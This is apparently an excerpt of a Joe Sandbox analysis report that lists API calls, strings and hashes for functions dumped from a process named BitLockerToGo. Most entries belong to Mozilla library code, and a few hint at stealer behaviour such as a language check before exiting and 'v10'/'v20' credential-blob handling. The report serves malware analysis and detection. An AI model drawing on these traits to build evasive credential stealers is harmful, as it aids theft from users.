Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: d890460b8d347dcf9a25c8797e759c94ad0b8cf7062372e0c99871f5b518ee8e
Instruction ID: 0b583adb527c5e7c82528690a6bd402076caddf6cf6d567101b5a3d6bd491f64
Opcode Fuzzy Hash: d890460b8d347dcf9a25c8797e759c94ad0b8cf7062372e0c99871f5b518ee8e
Instruction Fuzzy Hash: 3041A2707002059FDB00EFA9C8D8AAE77B9FF89354F1540A8E61697781EB34E805CB61

Function 6CCACC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CC731A7), ref: 6CCACDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CCACFA4, 6CCACFB8
<jemalloc>, xrefs: 6CCACF9F, 6CCACFB3

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 8278ec484bb45cb8f19bfb02566ad5c3f1719d924a3eeff075fddf2bd3761492
Instruction ID: fe8c1617ed8786d9e09f08a94c13fdad596b94cd82ac50944c2c2007c6e26b4c
Opcode Fuzzy Hash: 8278ec484bb45cb8f19bfb02566ad5c3f1719d924a3eeff075fddf2bd3761492
Instruction Fuzzy Hash: 7831C5707402065BFF00AFE98C59BAE7B75BF45758F304019F620ABA80FB72D5028BA1

Function 6CC7ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC7F100: LoadLibraryW.KERNEL32(shell32,?,6CCED020), ref: 6CC7F122
Part of subcall function 6CC7F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CC7F132

moz_xmalloc.MOZGLUE(00000012), ref: 6CC7ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC7EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CC7EDCC
CreateFileW.KERNEL32 ref: 6CC7EE08
free.MOZGLUE(00000000), ref: 6CC7EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CC7EE32

Part of subcall function 6CC7EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CC7EBB5
Part of subcall function 6CC7EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CCAD7F3), ref: 6CC7EBC3
Part of subcall function 6CC7EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CCAD7F3), ref: 6CC7EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CC7EDC1

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 5ca224dd9fb70dea8747653ed8f78f01a7056a5dfe6706e8f6abff9fc7f19019
Instruction ID: b066ac293845cb7268941a8e305ab6e713cc5d570caaa87b8a4838617da3ec6e
Opcode Fuzzy Hash: 5ca224dd9fb70dea8747653ed8f78f01a7056a5dfe6706e8f6abff9fc7f19019
Instruction Fuzzy Hash: 4F51C072D052048FDB20DF69D9846EEBBB0EF5A318F44892DE8556B740F7306989C7B2

Function 6CCEA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CCEA565

Part of subcall function 6CCEA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCEA4BE
Part of subcall function 6CCEA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CCEA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CCEA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CCEA6B6

Strings

z, xrefs: 6CCEA6AE
0, xrefs: 6CCEA5FB

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 4cec86c190af283f4a85dd816fac7f3dee1bc705c07f32c790d577c0ebd28d18
Instruction ID: 278e91970a419924da68349a7b1e911b3a26b3458488ae4848944b87aa40f225
Opcode Fuzzy Hash: 4cec86c190af283f4a85dd816fac7f3dee1bc705c07f32c790d577c0ebd28d18
Instruction Fuzzy Hash: 044137719097459FC341DF28C480A9BBBF9BFCA354F408A2EF49987650EB30D649CB92

Function 6CCB9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CCAAB89: EnterCriticalSection.KERNEL32(6CCFE370,?,?,?,6CC734DE,6CCFF6CC,?,?,?,?,?,?,?,6CC73284), ref: 6CCAAB94
Part of subcall function 6CCAAB89: LeaveCriticalSection.KERNEL32(6CCFE370,?,6CC734DE,6CCFF6CC,?,?,?,?,?,?,?,6CC73284,?,?,6CC956F6), ref: 6CCAABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CC84A68), ref: 6CCB945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CCB9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CCB9482
__Init_thread_footer.LIBCMT ref: 6CCB949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6CCB947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CCB946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CCB9459

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 963e0f66573318e3c07c1c873e6ae660b3f7d684175af05f15b9e2c67a0dab2b
Instruction ID: 56feb76dde26b6a8a86a612654bd1bb765d98e93a5942c22a2139bd887b33dfc
Opcode Fuzzy Hash: 963e0f66573318e3c07c1c873e6ae660b3f7d684175af05f15b9e2c67a0dab2b
Instruction Fuzzy Hash: D901F170A001018FD6109BACE808A4572B4EF16328F040537E86A96E51F631E85ACD5A

Function 03016770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32(?,?,03016A26,03020AEF), ref: 03016774
ExitProcess.KERNEL32 ref: 030167A5
ExitProcess.KERNEL32 ref: 030167AF
ExitProcess.KERNEL32 ref: 030167B9
ExitProcess.KERNEL32 ref: 030167C3
ExitProcess.KERNEL32 ref: 030167CD

Strings

*, xrefs: 0301678C

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 563ada9b8a7d25c97279038a99116ebb52e7632c38761dc2dacc4e6c37027522
Instruction ID: f293224bf7becf9354525005f03aab327010c5c33c702c1ffe1c80295a341956
Opcode Fuzzy Hash: 563ada9b8a7d25c97279038a99116ebb52e7632c38761dc2dacc4e6c37027522
Instruction Fuzzy Hash: 99F03A35985209EFE350AFE0BA0DB6D7B70FB04702F048198F70A86284D7754A519B95

Function 03009E10 Relevance: 12.2, APIs: 4, Strings: 4, Instructions: 167memoryCOMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,v20,00000003), ref: 03009E2D

Part of subcall function 0301A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0301A7E6

Part of subcall function 03010A60: memset.MSVCRT ref: 03010C1C
Part of subcall function 03010A60: lstrcat.KERNEL32(?,00000000), ref: 03010C35
Part of subcall function 03010A60: lstrcat.KERNEL32(?,03020D7C), ref: 03010C47
Part of subcall function 03010A60: lstrcat.KERNEL32(?,00000000), ref: 03010C5D
Part of subcall function 03010A60: lstrcat.KERNEL32(?,03020D80), ref: 03010C6F

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

memcmp.MSVCRT(?,v10,00000003), ref: 03009EAF
memset.MSVCRT ref: 03009EE8
LocalAlloc.KERNEL32(00000040,?), ref: 03009F41

Strings

@, xrefs: 03009EF1
v10, xrefs: 03009EA3
v20, xrefs: 03009E21
ERROR_RUN_EXTRACTOR, xrefs: 03009E67

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpymemcmpmemset$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 1977917189-1096346117
Opcode ID: 9f9eb4841cc7c24e6eb2a519d0599fb67cd0e3e8b8e0d4f0c772424c5b14a8d7
Instruction ID: 731be13e693c3728232f91dc988bb398c19ae421cac699aae4806cf0987802e3
Opcode Fuzzy Hash: 9f9eb4841cc7c24e6eb2a519d0599fb67cd0e3e8b8e0d4f0c772424c5b14a8d7
Instruction Fuzzy Hash: A3612C75A02348EFDB28EFA4DD95FEE7775AF84300F008018E90A5F191DB746A1ACB90

Function 6CCEB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CCEB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CCEB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CCEB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CCEB5F4
__Init_thread_footer.LIBCMT ref: 6CCEB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CCEB61F
std::_Facet_Register.LIBCPMT ref: 6CCEB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CCEB655

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 4fbc751e000633f7d86b0101efe120cbce60bafe5471bc5620a690fe5255f19e
Instruction ID: bf2b29e56037835616dc2362003039c7617530f5253cba23a8fead8ba3a09625
Opcode Fuzzy Hash: 4fbc751e000633f7d86b0101efe120cbce60bafe5471bc5620a690fe5255f19e
Instruction Fuzzy Hash: D8319371B00205CFCB00DFA9D8689AEB7F5FF8A364F140559D92697740EB71A806CFA6

Function 6CCC1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CCC1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CCC1BE3,?,?,6CCC1D96,00000000), ref: 6CCC1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CCC1BE3,?,?,6CCC1D96,00000000), ref: 6CCC1D4C
GetCurrentThreadId.KERNEL32 ref: 6CCC1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CCC1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CCC1DDA

Part of subcall function 6CCC1EF0: GetCurrentThreadId.KERNEL32 ref: 6CCC1F03
Part of subcall function 6CCC1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CCC1DF2,00000000,00000000), ref: 6CCC1F0C
Part of subcall function 6CCC1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CCC1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CCC1DF4

Part of subcall function 6CC8CA10: malloc.MOZGLUE(?), ref: 6CC8CA26

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: e98d4a25b97d4fc26c691d82a6bcac6465df6541f5ebb9fe0062c58e262420b1
Instruction ID: 2f9770c5e59db139b1dc0b8e409403cf64e3c2dc6a345f3d5942df78affec622
Opcode Fuzzy Hash: e98d4a25b97d4fc26c691d82a6bcac6465df6541f5ebb9fe0062c58e262420b1
Instruction Fuzzy Hash: 644178B5200705AFCB10DF29D498A56BBF9FF89314F10446EE96A87B41DB31F854CB91

Function 6CCB84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CCB84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CCB850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CCB851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CCB855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CCB856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CCB85AC

Part of subcall function 6CCB7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CCB85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CCB767F
Part of subcall function 6CCB7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CCB85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CCB7693
Part of subcall function 6CCB7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CCB85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CCB76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CCB85B2

Part of subcall function 6CC95E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CC95EDB
Part of subcall function 6CC95E90: memset.VCRUNTIME140(6CCD7765,000000E5,55CCCCCC), ref: 6CC95F27
Part of subcall function 6CC95E90: LeaveCriticalSection.KERNEL32(?), ref: 6CC95FB2

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 20369d7a3d34acdf44b04962c32d87e27f03c07d0c641b534c06906a1e001966
Instruction ID: 6eb3052007be87ac745b6f1fcd556a0e17188a6ab0be68c4dc357c3c196dd3c4
Opcode Fuzzy Hash: 20369d7a3d34acdf44b04962c32d87e27f03c07d0c641b534c06906a1e001966
Instruction Fuzzy Hash: 70215A743006029FEB24DF68D888E5AB7B9AF8430DF24482DE55B93B41EB35F949CB51

Function 6CCBF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CCACBE8: GetCurrentProcess.KERNEL32(?,6CC731A7), ref: 6CCACBF1
Part of subcall function 6CCACBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CC731A7), ref: 6CCACBFA

Part of subcall function 6CCB9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CC84A68), ref: 6CCB945E
Part of subcall function 6CCB9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CCB9470
Part of subcall function 6CCB9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CCB9482
Part of subcall function 6CCB9420: __Init_thread_footer.LIBCMT ref: 6CCB949F

GetCurrentThreadId.KERNEL32 ref: 6CCBF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CCBF598), ref: 6CCBF621

Part of subcall function 6CCB94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CCB94EE
Part of subcall function 6CCB94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CCB9508

GetCurrentThreadId.KERNEL32 ref: 6CCBF637
AcquireSRWLockExclusive.KERNEL32(6CCFF4B8,?,?,00000000,?,6CCBF598), ref: 6CCBF645
ReleaseSRWLockExclusive.KERNEL32(6CCFF4B8,?,?,00000000,?,6CCBF598), ref: 6CCBF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CCBF62A

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 46af2829a072e9028d12a8ccf39b940973a69b400f3e66c96e73f648b868db04
Instruction ID: 032e9b5fc742b667971b13f0b795ca2720aaab95dd533576493ecb1e83c1ab1e
Opcode Fuzzy Hash: 46af2829a072e9028d12a8ccf39b940973a69b400f3e66c96e73f648b868db04
Instruction Fuzzy Hash: C8110A39300205AFDB04AF98E958DD5BBB9FF86358B100016EA1593F01EB72EC25CBB1

Function 6CC80EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CCAAB89: EnterCriticalSection.KERNEL32(6CCFE370,?,?,?,6CC734DE,6CCFF6CC,?,?,?,?,?,?,?,6CC73284), ref: 6CCAAB94
Part of subcall function 6CCAAB89: LeaveCriticalSection.KERNEL32(6CCFE370,?,6CC734DE,6CCFF6CC,?,?,?,?,?,?,?,6CC73284,?,?,6CC956F6), ref: 6CCAABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6CCAD9F0,00000000), ref: 6CC80F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6CC80F3C
__Init_thread_footer.LIBCMT ref: 6CC80F50
FreeLibrary.KERNEL32(?,6CCAD9F0,00000000), ref: 6CC80F86

Strings

CoInitializeEx, xrefs: 6CC80F36
combase.dll, xrefs: 6CC80F18

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 4f338bfe3394754b655436f1b7c8527c8fc76b5ece83954da9da05e5476266f4
Instruction ID: 4f64f5be47b10cf496dd1943bf633ef19062e5564d08cf9ad56f5a50472ce652
Opcode Fuzzy Hash: 4f338bfe3394754b655436f1b7c8527c8fc76b5ece83954da9da05e5476266f4
